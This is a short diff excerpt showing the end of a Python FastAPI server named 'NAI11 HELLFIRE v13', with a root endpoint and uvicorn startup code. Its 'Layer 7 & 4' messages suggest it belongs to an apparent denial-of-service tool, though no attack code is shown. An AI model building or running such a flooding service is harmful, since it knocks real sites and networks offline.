| 421 |
}
|
| 422 |
|
| 423 |
@app.get("/")
|
| 424 |
def root():
|
| 425 |
+
return {"message": "NAI11 HELLFIRE v13 - FULLY WORKING | LAYER 7 & 4 FIXED"}
|
| 426 |
|
| 427 |
+
# ------------------- START SERVER -------------------
|
| 428 |
if __name__ == "__main__":
|
| 429 |
+
_log("π₯ NAI11 HELLFIRE v13 STARTED - LAYER 7 & 4 FIXED")
|
| 430 |
+
_log("π API Running on http://0.0.0.0:8000")
|
| 431 |
init_executor()
|
| 432 |
+
uvicorn.run(app, host="0.0.0.0", port=8000, workers=1, access_log=False)
|